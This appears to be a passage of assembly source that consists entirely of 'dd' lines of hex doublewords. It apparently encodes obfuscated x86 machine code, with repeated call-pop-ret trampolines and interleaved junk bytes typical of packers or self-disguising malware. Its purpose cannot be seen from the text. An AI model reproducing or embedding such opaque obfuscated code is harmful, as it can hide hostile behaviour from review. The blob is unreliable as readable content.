		dd 44810424h, 1D0424h, 51410000h, 1C73A6C3h, 0FB1D0E00h
		dd 8B111786h, 0B00BBEC3h, 0E8C11E78h, 57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0DFA61F50h, 0F69F162h, 8Fh, 0C8C0F00h, 0E9000000h, 7
		dd 177FC4CFh, 668EDB40h, 0E856E2F7h, 0Ah, 4AC40B2h, 6A7FA131h
		dd 8E9B8EEh, 0E1000000h, 53BEA2E2h, 5E180768h, 6AD82B5Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0AF12C356h, 205E8AA3h, 10EE4ACh, 131789BDh
		dd 0B5BD8B06h, 58061321h, 118F0Fh, 8E80000h, 0B8000000h
		dd 3A3D33A4h, 66170BD7h, 2B5EF08Bh, 23880FD8h, 0B9000001h
		dd 7, 48C0Fh, 0BE660000h, 0C183C504h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 73BB1FFBh, 3B20EC03h, 0E7860FD9h, 66000000h,	6AD98Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0BF575CC3h, 567A9539h, 0F04C1F6h, 9384h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0C50A113Ah, 84E8A1D0h, 58D0Fh, 81660000h, 0FF9F5ADEh
		dd 13211195h, 0F9D78106h, 30469DBh, 132559BDh, 0B58B5B06h
		dd 6130D4Dh, 2BAD9D29h,	0C32B0613h, 13719D89h, 343D0613h
		dd 0F000008h, 3386h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 6880F30h, 8B000000h, 131B69BDh
		dd 2CE906h, 85890000h, 6131961h, 0B533C08Bh, 6132FB1h
		dd 18830Fh, 13E90000h, 81000000h, 33A049FAh, 20DD2BF9h
		dd 0A6F45635h, 0DE1B36D6h, 0C38BA815h, 0B589D88Bh, 61313FDh
		dd 111185C7h, 0F91B0613h, 95893DF1h, 6130AA9h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 226B6C3h, 0BD815F18h, 6130B21h, 7D0h, 34850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 3E9766C3h, 20BF883Fh, 0D21BD8Bh, 85FF0613h, 6130B21h
		dd 0D9B58Bh, 0B5FF0613h, 6130B21h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 12C35646h, 0DB9BBFA2h, 95FF6802h
		dd 6130DA9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0A8C35343h, 0B6730097h,	1CE1B52Bh, 0E9900613h
		dd 0Ch,	76969EC3h, 96E68FC3h, 289F5B0Eh, 52006AF5h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0E01170B2h, 324DB533h, 0D7810613h, 2460C4E0h, 0E69CBF66h
		dd 0B8C0Fh, 81660000h, 8BF61FD7h, 1324CDB5h, 0E5858906h
		dd 0E8061305h, 5, 0E3F93BCCh, 15B52385h, 5F06132Ah, 0E1BF6650h
		dd 6A5FE7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 1D66AC3h,	13317585h, 7D9D8906h, 6A06131Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0A980C357h, 2318468Bh, 2963214Fh,	131ECD95h
		dd 99B52B06h, 0F506132Bh, 4D44EBFh, 0CD958972h,	60061324h
		dd 68A0Fh, 8D090000h, 6131FA5h,	23619D89h, 1FB50613h, 0DD19D89h
		dd 8B610613h, 130A75BDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 7AC95546h, 27C1DD12h
		dd 0F81BE97Ch, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0E11D4CC3h, 0ADFB3214h, 9E9h, 80629C00h
		dd 74549A67h, 9D89CC4Dh, 6133029h, 6AC18Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 55625BC3h
		dd 59A3D4CDh, 0EB01BB45h, 4, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0FBC84ADAh
		dd 55006A43h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 80E7EF87h, 6E1AD672h, 1B699589h,	858D0613h
		dd 6131EA9h, 78D8531h, 0F500613h, 285h,	89F78B00h, 0BE662404h
		dd 6A2E37h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Dh,	68C35545h, 0A0239B6Bh, 3F69A70Dh, 0FABF0FCDh, 11D9BD29h
		dd 6A0613h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ah,	29C35242h, 0A046E324h, 8B660216h, 19858DF3h, 6A06170Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 833FC355h, 6A05C0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8A0FADC3h, 3,	50F98B66h
		dd 0DA8B6660h, 24048961h, 8A60F18Bh, 51858BD9h,	61061301h
		dd 0DDBF006Ah, 6A47C939h, 0F195FF00h, 6A061307h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 4FC7C353h, 7921C525h, 0C88A60A8h, 68D0Fh, 0D6810000h
		dd 37F8D0B5h, 6A9D8D61h, 660616A3h, 0FF3D2CBEh,	55006AD3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 66F3795Ah, 8D89F78Bh, 6130AF1h, 16D985FFh, 0D4BF0613h
		dd 0E9488AFAh, 81Dh, 0E8h, 0ED815D00h, 6170A23h, 81F9BF0Fh
		dd 130B21BDh, 7D006h, 7C860F00h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E923C352h
		dd 14h,	3D1BABB1h, 48E8C592h, 5AF950D6h, 96B4EF9Eh, 0EE1E293Ch
		dd 2CD59D8Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 794DFBC3h, 29AD9589h, 0E3810613h
		dd 100h, 11E98D89h, 0DB0B0613h,	83850Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 651398C3h, 0BCF6CBEAh, 81661EF8h, 838FFAEFh,	17087BBDh
		dd 840F0006h, 17h, 13B5BD89h, 5EE90613h, 0F000000h, 68Bh
		dd 9BD0B00h, 0C706130Fh, 17087B85h, 106h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 80185DEAh, 22E9D27Dh, 81000000h, 0A2A8F0E7h,	7B85C760h
		dd 61708h, 0F000000h, 0C80h, 6800F00h, 2B000000h, 132981B5h
		dd 0D59D8D06h, 6A06132Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0CDF9C350h,	8E8h, 0FA384B00h
		dd 8E6E26CAh, 45B53351h, 5E06132Ah, 0FEFF2381h,	6AFFFFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0B72977C3h, 968BD9BFh, 8BFC2CD9h, 8D0FF3h, 66000000h
		dd 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 6B68C7C3h, 0DA0239Bh, 0BE3F69A7h,	2FAD8B58h
		dd 0E65B503h, 0C3F60613h, 6B840F04h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0FFEFC353h, 13211195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 59D75859h
		dd 514DE381h, 5790F8DCh, 7E8505Eh, 61000000h, 1424FC71h
		dd 830F40B7h, 6, 850Fh,	905F0000h, 0DD1B589h, 0EAE90613h
		dd 89000003h, 132B4185h, 6A00B006h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 6672C350h
		dd 0E612D7BEh, 71E4F570h, 1605B533h, 0B60F0613h, 49B58BD8h
		dd 0BA061317h, 6, 1681BD89h, 0C38B0613h, 0C1FB8B66h, 6A04E8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0AE2A24C3h, 0F18BC7E1h, 66E2F766h, 2BD985BFh, 52006AD8h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 937B6747h, 0CE860h, 68950000h, 92254A69h, 8DB2705Dh
		dd 5957C762h, 38E0F59h,	66000000h, 5061FE8Bh, 0BDB52993h
		dd 0FF06132Eh, 130B21B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0C86F19A4h
		dd 73FD89E6h, 0C58D291Dh, 0FC06130Dh, 0B61B58Bh, 95FF0613h
		dd 6130DA9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	40C35040h, 0A0E23F98h, 0D7180A92h, 0A66EBF66h
		dd 25D1B58Bh, 0B00613h,	10E8h, 49E75E00h, 865CD10Bh, 9D3E0532h
		dd 0CAFB617Ch, 6840FDDh, 0F000000h, 82h, 70E65F00h, 128A0Fh
		dd 0DE90000h, 0E9000000h, 0EC70B744h, 55745CFFh, 0CAF145EFh
		dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 35B547C3h, 830F613Ch, 259h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 0CEC35747h, 88BF9193h
		dd 66609892h, 0F6AFE781h, 6AD8B60Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6916C355h
		dd 97880758h, 68A0Fh, 0B58B0000h, 6131741h, 6BAh, 8BF38B00h
		dd 5CF781C3h, 0C173169Ah, 6A04E8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8B45B6C3h, 130DD1BDh
		dd 0E2F76606h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	2EC35141h, 8EEE8166h, 0F2BF0F3Fh, 9529D82Bh, 6131DADh
		dd 6810F58h, 8B000000h,	133045B5h, 0FD82B06h, 18888h, 0BE900h
		dd 9A440000h, 5AECBD93h, 8BCB15D3h, 7B948h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 60B28C3h, 1F45BD01h,	0C1830613h, 0AE800h, 0F0800000h
		dd 0CF2EF1E1h, 0F9D04D30h, 45DE8166h, 0D93B5F8Eh, 12F860Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 5A1C0DC3h, 0D98C6663h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 1DC35747h, 0ABFD2AEh, 0E9F9B503h
		dd 11h,	4BD0CFCEh, 0CCA841B7h, 3594B863h, 14428D92h, 4C1F685h
		dd 0A2840Fh, 0BF660000h, 95FF1759h, 6132111h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1CC35343h, 24CD2547h
		dd 800F4287h, 5, 2CEF8166h, 8D895BA2h, 6131145h, 0F78BC32Bh
		dd 8343Dh, 55860F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 2FDC351h, 3564333Dh
		dd 0FE99F62h, 38Fh, 0F38B6600h,	4CE9h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0B58B923Dh, 6131CCDh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0E43885C3h, 8910498Ah
		dd 131DADBDh, 8BC38B06h, 50006AD8h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 7479257Bh, 9CD6C10h, 130EB58Dh
		dd 3985C706h, 0F7061306h, 0BF7E0D5Dh, 6615D95Fh, 8166C08Bh
		dd 81FBCDE7h, 130B21BDh, 7D006h, 0D850F00h, 0F5000000h
		dd 349DB58Bh, 85FF0613h, 6130B21h, 0B21B5FFh, 0BD8B0613h
		dd 6130D11h, 0DA995FFh,	6A0613h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0CCE76BC3h, 2A4DBD89h
		dd 0F900613h, 8Dh, 0B9B58B00h, 31061300h, 1313D995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 59C6815Bh, 0BF08C9D3h, 4AA279B5h, 3C54E681h,	6A54ADh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0AEEA46C3h, 870FA1h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B3E1C357h
		dd 808BA33Eh, 8B131D36h, 1325DDBDh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 44239F5Ch
		dd 0F8367551h, 0ED9589C8h, 6A06131Dh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E18AC351h
		dd 0E9237E8Bh, 13h, 0C03AEC9Dh,	0D93B6CB6h, 0B2D3491Fh
		dd 19A4EEDEh, 6AE6C86Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E926C357h,	0Dh, 11B8D620h
		dd 45622B78h, 0F49D46F6h, 0E9F98BE7h, 0FFFFF814h, 0DE8h
		dd 534D8500h, 0F10D72E1h, 0A1A5A902h, 8D89EBABh, 6131311h
		dd 0DE95Fh, 950E0000h, 49BC1D69h, 0C8505F82h, 89DB59E1h
		dd 131F09BDh, 89C18B06h, 131B6D9Dh, 4EB06h, 66000000h
		dd 0B9C4CE81h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	80C35646h, 7F02F7C7h, 10D9BD33h, 0CF810613h, 77BA7BA4h
		dd 1EA9858Dh, 0BF660613h, 605035F9h, 11E8DC8Ah,	7B000000h
		dd 73F8D721h, 18FFC8AEh, 595365B2h, 59694915h, 6159CE8Bh
		dd 0F240489h, 58Bh, 0C6816600h,	6A54E1h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 17h, 0D6C35545h, 8B4ED891h
		dd 1323A1B5h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0FA73C352h,	0EF858D73h
		dd 89061713h, 13177D8Dh, 0C7DE8106h, 834DFE8Bh,	6A05C0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 899AE6C3h, 132965B5h, 50565006h, 5E852h, 62020000h
		dd 5EF4C5F6h, 585A310Fh, 2404895Fh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 48C35747h, 0EEFB0571h, 0FAB70F3Fh
		dd 1ED1B58Bh, 6A0613h, 10E9h, 42A8C700h, 24090161h, 0E5075C3h
		dd 0E646412Dh, 6A006AAFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FF3CC351h,	1307F195h
		dd 79BD0306h, 8D061312h, 16A36A9Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0C9C4912Ah
		dd 0BA29BFBFh, 29D3FF70h, 13353995h, 0D985FF06h, 89061316h
		dd 132CB9B5h, 7CCE906h,	0E80000h, 5D000000h, 13F9ED81h
		dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0AFBB7BC3h, 7E8CAF2h, 49000000h, 27EC5838h
		dd 953195A1h, 6132819h,	21BD815Fh, 0D006130Bh, 0F000007h
		dd 19A86h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0BF66E14Ah, 9D8B7DABh, 6133251h
		dd 0E381FCh, 6A000001h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 37F1C357h, 3C8C0C46h
		dd 0B375F7Fh, 0D6850FDBh, 0F000000h, 688h, 0D9952900h
		dd 83061306h, 171245BDh, 840F0006h, 44h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 93C35343h
		dd 8975A47Ah, 13113D85h, 858D8906h, 0E9061319h,	0B7h, 0FE9h
		dd 9A399A00h, 8B392DF6h, 8E48636h, 459FEE9Bh, 124585C7h
		dd 10617h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 9DEB8CC3h, 0C2C7E587h, 85FBBFE4h
		dd 6CE927DCh, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0E901C351h,	8, 0FC221182h
		dd 40A73ECFh, 14E9h, 0BFF7FA00h, 91CD4019h, 28B5B065h
		dd 281AC02Eh, 6743B5EDh, 4585C767h, 61712h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 8ABC352h,	8D465F08h, 1332519Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0F10F0E9h, 81F5F6B7h, 0FFFEFF23h, 0BE8FFh, 0DDC20000h
		dd 6EFD72F1h, 221DBF5Bh, 665EF810h, 0F6FCDB8Ch,	840F04C3h
		dd 63h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch
		dd 0B2C35747h, 8A5F9C3Fh, 5EA97F2h, 9F2B70Fh, 13110D85h
		dd 1195FF06h, 8B061321h, 800F50F3h, 2, 489FB8Bh, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0DDB58B03h, 0E9061316h, 3EFh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 14h, 0D9C35646h,	0B0F28B66h, 61B58B00h
		dd 0E6061323h, 57006A70h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 6F578C15h, 93DB1386h
		dd 8971E4ECh, 130619BDh, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 1CC35646h, 0CE01CC06h, 5A77361Ah
		dd 219D896Ch, 66061316h, 6BAF18Bh, 31000000h, 132EBD9Dh
		dd 89C38B06h, 130F599Dh, 4E8C106h, 208DBD8Bh, 0F7660613h
		dd 0D78166E2h, 0D82B70E7h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0AFC35141h, 533F4F01h, 0BE934B9Bh, 51E82AA9h
		dd 2A19BE50h, 6A930F0Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0D812C351h,	0BD8BBB19h
		dd 6130E55h, 0B21B5FFh,	9D090613h, 6133151h, 0DA995FFh
		dd 870F0613h, 6, 30318D89h, 0B00613h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 96C35646h, 597537Bh, 39621781h
		dd 68F0F12h, 29000000h,	131F19B5h, 8B70E606h, 6A71E4F2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0F18AC355h, 0F373901h, 613CFFB7h,	26D830Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 37621DC3h, 23AB0701h, 132135BDh, 0D8B60F06h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 8BC35242h
		dd 7350B09Ah, 0F345F86h, 388h, 0F7BF0F00h, 6BAh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0A67D2C48h, 81F68E8Dh, 0F65E63EFh, 0CE96Bh, 0CA990000h
		dd 0B261F503h, 5E123514h, 0C38B9738h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0DFC35545h,	0D2694095h, 558589A0h
		dd 0C106130Eh, 0F76604E8h, 56006AE2h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0CB00FF00h
		dd 2958D82Bh, 131D55BDh, 0FD82B06h, 17A88h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 3A0662F2h, 0E15F99C2h, 0B529B5C6h, 613011Dh,	7B9h, 0F78B6600h
		dd 6600C183h, 3BF858BFh, 38860FD9h, 6A000001h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0E0C3C357h, 0DE9EB95h, 56000000h, 5993B6A1h,	0AB5F83D5h
		dd 3C086FD9h, 8BD98C66h, 130C69B5h, 4C1F606h, 0BF840Fh
		dd 0BE80000h, 35000000h, 10699ECCh, 0FBB1DF8Bh,	8E0F2BFAh
		dd 6, 3549B58Bh, 0FF5F0613h, 13211195h,	56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 8953C4D1h, 130A8585h, 6A5B5F06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0ADABC357h
		dd 0C98ED68Eh, 17D880CDh, 7E8h,	72879400h, 10931FA3h, 1FBDB58Bh
		dd 2B5E0613h, 11B50BC3h, 3D06130Bh, 834h, 2B860Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 10B0DAC3h, 3CE9EDE8h, 89000000h, 130C158Dh, 6AC08B06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0B2F3C357h, 0E99B2C3Eh, 0Fh, 3244946h, 0A3CDEAAFh
		dd 358B5E0h, 8B7E8AC3h,	0E9D88BC3h, 14h, 0C6BE9F01h, 610904C4h
		dd 0FFBA0FFEh, 0AFA24D1Ah, 0DB0685F3h, 2CD585C7h, 175D0613h
		dd 85897DC2h, 6131DEDh,	0BD8BC08Bh, 61311BDh, 0B21BD81h
		dd 7D00613h, 850F0000h,	0Eh, 0B2185FFh,	33560613h, 131CD9B5h
		dd 0B5FF5E06h, 6130B21h, 0FFF1BF0Fh, 130DA995h,	0C6819006h
		dd 3A815682h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	0A5C35242h, 5E596A70h, 0B5012435h, 61301E9h, 0F2B70F51h
		dd 0A5B5295Eh, 6A06131Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F05C352h, 0C81h, 6890F00h
		dd 2B000000h, 131EC1B5h, 8589FC06h, 61323B9h, 53006AF8h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 108923D2h, 12E96Bh, 0DDF90000h, 7801CEF6h, 1BD70ABBh
		dd 0BA3E9889h, 30C7B338h, 74A784BEh, 0BD8B523Fh, 6131D85h
		dd 6AF38B5Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 85F8C352h, 2B3F97FDh, 0B58B65ABh
		dd 61324C5h, 1F51BD8Bh,	6A0613h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 25A8A0C3h, 48CABCC8h
		dd 0B58BCB28h, 6132379h, 0F83CE9FCh, 0B58BFFFFh, 6131BA1h
		dd 0C18BF78Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	1AC35343h, 3C38EDBDh, 104EB6Bh,	6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0F534C357h, 4A9752ECh, 9D897503h, 61314F5h, 3800Fh
		dd 8B660000h, 51006AFBh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 93EA5DDCh, 8BF1680Dh, 130BC5B5h
		dd 0A9858D06h, 6A06131Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0F68EC353h,	0A6C3FFB9h
		dd 0CCBA6090h, 0F7756A2h, 289h,	61616000h, 6A9050h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 705CDBC3h, 6A401Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h
		dd 0EAC35646h, 893E8A83h, 131BCDB5h, 38E78106h,	6A4C182Dh
		dd 0BCBF6600h, 86858D7Eh, 5606171Dh, 1471BD09h,	895E0613h
		dd 131A51BDh, 5C08306h,	45DF8166h, 0D9BF50DBh, 8915EEE1h
		dd 0BD8B2404h, 613351Dh, 8501006Ah, 6132BD1h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 38D464C3h, 880Fh, 95FF0000h,	61307F1h, 0F49B533h, 9D8D0613h
		dd 616A36Ah, 34DF8166h,	6AD3FF69h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0EE60C355h
		dd 61BD4696h, 1689BD8Bh, 7E80613h, 4C000000h, 69D8C273h
		dd 0B8BE469Ah, 5F31C987h, 16D985FFh, 85890613h,	6133521h
		dd 761E9h, 0E800h, 815D0000h, 171D90EDh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 51B19506h, 0FCBF5F58h, 8130517Eh, 130B21BDh,	7D006h
		dd 860F00h, 89000001h, 1304EDB5h, 0F99D8B06h, 66061305h
		dd 24DACE81h, 0FDB58956h, 5F06130Ah, 100E381h, 9CBE0000h
		dd 0F56CF4Bh, 886h, 0B58B5600h,	6130F01h, 0FDB0B5Fh, 5C85h
		dd 0F3B70F00h, 1BE5BD83h, 0F000617h, 1784h, 6E9FC00h, 3F000000h
		dd 0C1FAC9D5h, 4BE926h,	85090000h, 6131949h, 1BE585C7h
		dd 10617h, 0BD890000h, 613214Dh, 30E9h,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 58317D19h, 0E585C7BFh, 6171Bh, 29000000h, 130FF18Dh
		dd 0F99D8D06h, 6A061305h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0A6FDC350h,	5022DD0Dh
		dd 0F5952955h, 81061315h, 0FFFEFF23h, 52006AFFh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 4C6BDB0Bh, 816675AAh, 66616AF6h, 6ADB8Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 37462C3h
		dd 88A82DFFh, 0F6FA8B66h, 840F04C3h, 3Eh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 0EBC35545h, 0E72B1B69h
		dd 53BCFF0Ch, 211195FFh, 0BF0F0613h, 0BF6690FBh, 6650AF51h
		dd 90ACDABFh, 0ED9BD89h, 99E90613h, 66000003h, 0B0DDD9BFh
		dd 0E9BD8B00h, 0E6061306h, 52006A70h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 210316D3h
		dd 0B86C0DCFh, 0B5896B57h, 6131451h, 6A71E4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0CFDBDFC3h
		dd 0D2AF9BA7h, 0F1BD8BF6h, 0F061334h, 6AD8B6h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0E5EAF7C3h, 5BFC2ECCh, 899D3145h, 0BA061307h, 6, 1D958957h
		dd 5E061315h, 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 1EE4BCC3h, 25B07523h, 0E78166F8h
		dd 8A0FC632h, 1, 4E8C1F8h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 9DC35040h, 6171CC56h,	0BEE2F766h, 6F7AB6B5h
		dd 9589D82Bh, 61323C9h,	241C8950h, 4E1BD2Bh, 0B5FF0613h
		dd 6130B21h, 95FFF38Bh,	6130DA9h, 164DB589h, 0B00613h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 35C35040h
		dd 14AFCD3Eh, 0E6F78B66h, 0C5BD8B70h, 0E4061311h, 51006A71h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0EE8575Ah, 6E000000h, 9751B6BFh, 0A3260943h,	0BE740B3h
